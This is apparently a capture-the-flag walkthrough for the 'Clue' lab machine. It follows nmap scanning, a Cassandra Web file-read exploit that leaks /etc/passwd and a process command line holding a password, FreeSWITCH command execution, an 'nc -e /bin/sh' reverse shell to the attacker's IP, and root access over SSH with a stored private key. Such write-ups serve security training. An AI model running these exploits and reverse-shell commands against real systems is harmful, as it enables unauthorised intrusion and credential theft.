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nmap

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└─$ nmap -A -T4 -p - -oN nmap 192.168.133.240
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-12 19:48 EDT
Nmap scan report for 192.168.133.240
Host is up (0.043s latency).
Not shown: 65529 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
|_ ssh-hostkey:
|   2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)
|   256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)
|_   256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)
80/tcp    open  http         Apache httpd 2.4.38
|_ http-server-header: Apache/2.4.38 (Debian)
|_ http-title: 403 Forbidden
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
3000/tcp  open  http         Thin httpd
|_ http-server-header: thin
|_ http-title: Cassandra Web
8021/tcp  open  freeswitch-event FreeSWITCH mod_event_socket
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running (JUST GUESSING): linux 4.X|5.X|2.6.X|3.X (97%), MikroTik RouterOS 7.X (97%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:6.0
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 5.0 - 5.14 (97%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (97%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 3.4 - 3.10 (91%), Linux 4.15 (91%), Linux 2.6.32 - 3.10 (91%), Linux 4.19 - 5.15 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: Hosts: 127.0.0.1, CLUE; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_ smb2-time:
|   date: 2025-06-12T23:50:53
|_  start_date: N/A
|_ clock-skew: mean: 1h20m00s, deviation: 2h18m34s, median: 0s
|_ smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: clue
|   NetBIOS computer name: CLUE\x00
|   Domain name: pg
|   FQDN: clue.pg
|_  System time: 2025-06-12T19:50:49-04:00
|_ smb2-security-mode:
|   3:1:1:
|_  Message signing enabled but not required
|_ smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

TRACEROUTE (using port 139/tcp)
HOP RTT      ADDRESS
1  46.83 ms  192.168.45.1
2  46.80 ms  192.168.45.254
3  48.04 ms  192.168.251.1
4  48.11 ms  192.168.133.240

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 152.80 seconds
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Cassandra Web Execute

Keyspaces

- system_auth
- system_schema
- system_distributed
- system
- system_traces

Hosts

127.0.0.1 (up)

Cluster Status

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Hosts

Datcenter: datacenter1

ip	id	rack	version	status
127.0.0.1	39c6f1e3-d798-44ce-b216-ce0f664fc0af	rack1	3.11.13	up

Keyspaces

system_auth

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CREATE KEYSPACE system_auth WITH replication = {'class': 'SimpleStrategy', 'replication_factor': '1'} AND durable_writes = true;
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system_schema

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CREATE KEYSPACE system_schema WITH replication = {'class': 'LocalStrategy'} AND durable_writes = true;
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system_distributed

```
CREATE KEYSPACE system_distributed WITH replication = {'class': 'SimpleStrategy', 'replication_factor': '3'} AND durable_writes = true;
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system

```
CREATE KEYSPACE system WITH replication = {'class': 'LocalStrategy'} AND durable_writes = true;
```

system_traces

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CREATE KEYSPACE system_traces WITH replication = {'class': 'SimpleStrategy', 'replication_factor': '2'} AND durable_writes = true;
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searchsploit cassandra web

Usage

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# Usage
# > cassmoney.py 10.0.0.5 /etc/passwd
# root:x:0:0:root:/root:/bin/bash
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# bin:x:2:2:bin:/bin:/usr/sbin/nologin
# ...
# > cassmoney.py 10.0.0.5 /proc/self/cmdline
# /usr/bin/ruby2.7/usr/local/bin/cassandra-web--usernameadmin--passwordP@ssw0rd
```

```
(kali@kali)-[~/Desktop/offsec/clue]
$ python 49362.py $ip /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mail List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110:/nonexistent:/usr/sbin/nologin
sshd:x:105:65534:/run/ssh:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/usr/sbin/nologin
ntp:x:106:113:/nonexistent:/usr/sbin/nologin
cassandra:x:107:114:Cassandra database,,:/var/lib/cassandra:/usr/sbin/nologin
cassie:x:1000:1000:/home/cassie:/bin/bash
freesswitch:x:998:998:FreeSWITCH:/var/lib/freeswitch:/bin/false
anthony:x:1001:1001:/home/anthony:/bin/bash
```

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mail List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110:/nonexistent:/usr/sbin/nologin
sshd:x:105:65534:/run/ssh:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/usr/sbin/nologin
ntp:x:106:113:/nonexistent:/usr/sbin/nologin
cassandra:x:107:114:Cassandra database,,:/var/lib/cassandra:/usr/sbin/nologin
cassie:x:1000:1000:/home/cassie:/bin/bash
freesswitch:x:998:998:FreeSWITCH:/var/lib/freeswitch:/bin/false
anthony:x:1001:1001:/home/anthony:/bin/bash
```

```
(kali@kali)-[~/Desktop/offsec/clue]
$ python 49362.py $ip /proc/self/cmdline

/usr/bin/ruby2.5/usr/local/bin/cassandra-web-ucassie-pSecondBiteTheApple330
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/usr/bin/ruby2.5/usr/local/bin/cassandra-web-ucassie-pSecondBiteTheApple330
cassie:SecondBiteTheApple330

recurse ON
prompt OFF
cd dirname
mget *

grep -r -i -E "admin|anthony|password|passwd|root|pwd" . > output.txt

```
./freeswitch/etc/freeswitch/autoload_configs/event_socket.conf.xml: <param name="password" value="ClueCon"/>
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```

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figuration name="event_socket.conf" description="Socket Client">
<settings>
  <param name="nat-map" value="false"/>
  <param name="listen-ip" value="::"/>
  <param name="listen-port" value="8021"/>
  <param name="password" value="ClueCon"/>
  <!--<param name="apply-inbound-acl" value="loopback.auto"/>-->
  <!--<param name="stop-on-bind-error" value="true"/>-->
</settings>
</configuration>
```

```
(kali@kali)-[~/Desktop/offsec/clue]
$ python 49362.py $ip ../../../../../../../etc/freeswitch/autoload_configs/event_socket.conf.xml

<configuration name="event_socket.conf" description="Socket Client">
  <settings>
    <param name="nat-map" value="false"/>
    <param name="listen-ip" value="0.0.0.0"/>
    <param name="listen-port" value="8021"/>
    <param name="password" value="StrongClueConEight021"/>
  </settings>
</configuration>
```

StrongClueConEight021

(kali@kali)-[~/Desktop/offsec/clue]	
\$ searchsploit freeswitch	
Exploit Title	Path
FreeSWITCH - Event Socket Command Execution (Metasploit)	multiple/remote/47698.rb
FreeSWITCH 1.10.1 - Command Execution	windows/remote/47799.txt
Shellcodes: No Results	

Change extension from txt to py
nano 47799.py
Change password here.

PASSWORD='StrongClueConEight021' # default password for FreeSWITCH

We got RCE.

```
(kali@kali)-[~/Desktop/offsec/clue]
$ python 47799.py $ip 'id & which nc'
Authenticated
Content-Type: api/response
Content-Length: 75

uid=998(freeswitch) gid=998(freeswitch) groups=998(freeswitch)
/usr/bin/nc
```

got reverse shell.

```
(kali@kali)-[~/Desktop/offsec/clue]
$ python 47799.py $ip 'nc -e /bin/sh 192.168.45.213 80'
Authenticated

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(kali@kali)-[~/Desktop/offsec/clue]
$ nc -nvlp 80
Listening on 0.0.0.0 80
Connection received on 192.168.133.240 59914
id
uid=998(freeswitch) gid=998(freeswitch) groups=998(freeswitch)
back i
```

Switch to cassie

```
freeswitch@clue:/home/anthony$ su - cassie
Password:
cassie@clue:~$
cassie@clue:~$ id
uid=1000(cassie) gid=1000(cassie) groups=1000(cassie)
cassie@clue:~$
```

```
cassie@clue:~$ ls -al
total 32
drwxr-xr-x 4 cassie cassie 4096 Aug 11 2022 .
drwxr-xr-x 4 root root 4096 Aug 5 2022 ..
lrwxrwxrwx 1 root root 9 Aug 5 2022 .bash_history -> /dev/null
-rw-r--r-- 1 cassie cassie 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 cassie cassie 3526 Apr 18 2019 .bashrc
drwx----- 3 cassie cassie 4096 Aug 11 2022 .gnupg
-rw----- 1 cassie cassie 1823 Aug 11 2022 id_rsa
-rw-r--r-- 1 cassie cassie 807 Apr 18 2019 .profile
drwx----- 2 cassie cassie 4096 Aug 11 2022 .ssh
```

We are root.

```
cassie@clue:~$ ssh -i id_rsa root@localhost
Linux clue 4.19.0-21-amd64 #1 SMP Debian 4.19.249-2 (2022-06-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Apr 29 17:57:54 2024
root@clue:~# id
uid=0(root) gid=0(root) groups=0(root)
```

We can also see here as a hint.

Box creator created ssh-keygen and copied pub into root ssh folder. He placed id_rsa which can login to root somewhere.

```
root@clue:/home/anthony# cat .bash_history
clear
ls -la
ssh-keygen
cp .ssh/id_rsa.pub .ssh/authorized_keys
sudo cp .ssh/id_rsa.pub /root/.ssh/authorized_keys
exit
```